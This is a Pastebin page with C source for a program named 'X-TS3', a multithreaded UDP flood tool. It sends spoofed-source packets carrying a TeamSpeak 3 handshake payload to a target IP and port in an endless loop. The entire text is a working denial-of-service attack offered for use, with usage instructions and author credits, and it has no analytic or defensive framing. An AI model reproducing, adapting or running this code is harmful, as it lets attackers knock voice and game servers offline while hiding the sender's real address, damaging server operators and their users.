prostate

UDP_xts3.c

Apr 6th, 2020
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.94 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13. static uint32_t Q[4096], c = 362436;
  14. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  15. static unsigned int attport;
  16. void init_rand(uint32_t x)
  17. {
  18. int i;
  19. Q[0] = x;
  20. Q[1] = x + PHI;
  21. Q[2] = x + PHI + PHI;
  22. for (i = 3; i < 4096; i++)
  23. {
  24. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  25. }
  26. }
  27.  
  28. uint32_t rand_cmwc(void)
  29. {
  30. uint64_t t, a = 18782LL;
  31. static uint32_t i = 4095;
  32. uint32_t x, r = 0xfffffffe;
  33. i = (i + 1) & 4095;
  34. t = a * Q[i] + c;
  35. c = (t >> 32);
  36. x = t + c;
  37. if (x < c) {
  38. x++;
  39. c++;
  40. }
  41. return (Q[i] = r - x);
  42. }
  43.  
  44. /* function for header checksums */
  45. unsigned short csum (unsigned short *buf, int nwords)
  46. {
  47. unsigned long sum;
  48. for (sum = 0; nwords > 0; nwords--)
  49. sum += *buf++;
  50. sum = (sum >> 16) + (sum & 0xffff);
  51. sum += (sum >> 16);
  52. return (unsigned short)(~sum);
  53. }
  54.  
  55. void setup_ip_header(struct iphdr *iph)
  56. {
  57. iph->ihl = 5;
  58. iph->version = 4;
  59. iph->tos = 0;
  60. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 34;
  61. iph->id = htonl(rand()%54321);
  62. iph->frag_off = 0;
  63. iph->ttl = 128;
  64. iph->protocol = IPPROTO_UDP;
  65. iph->check = 0;
  66. iph->saddr = inet_addr("192.168.3.100");
  67. }
  68.  
  69. void setup_udp_header(struct udphdr *udph)
  70. {
  71. udph->source = htons(rand()%65535);
  72. udph->check = 0;
  73. memcpy((void *)udph + sizeof(struct udphdr), "\x54\x53\x33\x49\x4e\x49\x54\x31\x00\x65\x00\x00\x88\x02\xfd\x66\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 34);
  74. udph->len=htons(sizeof(struct udphdr) + 34);
  75. }
  76.  
  77. void *flood(void *par1)
  78. {
  79. char *td = (char *)par1;
  80. char datagram[MAX_PACKET_SIZE];
  81. struct iphdr *iph = (struct iphdr *)datagram;
  82. struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  83. struct sockaddr_in sin;
  84. sin.sin_family = AF_INET;
  85. sin.sin_addr.s_addr = inet_addr(td);
  86. sin.sin_port = attport;
  87. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  88. if(s < 0){
  89. fprintf(stderr, "Could not open raw socket.\n");
  90. exit(-1);
  91. }
  92. init_rand(time(NULL));
  93. memset(datagram, 0, MAX_PACKET_SIZE);
  94. setup_ip_header(iph);
  95. setup_udp_header(udph);
  96. udph->dest = attport;
  97. udph->source = htons(rand()%65535);
  98. iph->daddr = sin.sin_addr.s_addr;
  99. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  100. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  101. int tmp = 1;
  102. const int *val = &tmp;
  103. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  104. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  105. exit(-1);
  106. }
  107. int i=0;
  108. while(1){
  109. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  110. udph->source = htons(rand()%65535);
  111. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  112. iph->daddr = sin.sin_addr.s_addr;
  113. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  114.  
  115.  
  116. if(i==5)
  117. {
  118. usleep(0);
  119. i=0;
  120. }
  121. i++;
  122. }
  123. }
  124. int main(int argc, char *argv[ ])
  125. {
  126. if(argc < 4){
  127. fprintf(stderr, "Invalid parameters!\n");
  128. fprintf(stderr, "X-TS3 by AnonnPL!\n");
  129. fprintf(stdout, "Usage: %s <target IP> <port> <throttle> <time>\n", argv[0]);
  130. exit(-1);
  131. }
  132. int i = 0;
  133. fprintf(stdout, "Setting up Sockets...\n");
  134. int max_len = 128;
  135. char *buffer = (char *) malloc(max_len);
  136. buffer = memset(buffer, 0x00, max_len);
  137. int num_threads = atoi(argv[3]);
  138. pthread_t thread[num_threads];
  139. struct thread_data td[num_threads];
  140. attport = htons(atoi(argv[2]));
  141. for(i = 0;i<num_threads;i++){
  142. pthread_create( &thread[i], NULL, &flood, (void *) argv[1]);
  143. }
  144. fprintf(stdout, "Starting Flood...\n");
  145. fprintf(stdout, "X-TS3 by Rexikon\n");
  146. if(argc > 4)
  147. {
  148. sleep(atoi(argv[4]));
  149. } else {
  150. while(1){
  151. sleep(1);
  152. }
  153. }
  154. return 0;
  155. }
Advertisement
Add Comment
Please, Sign In to add comment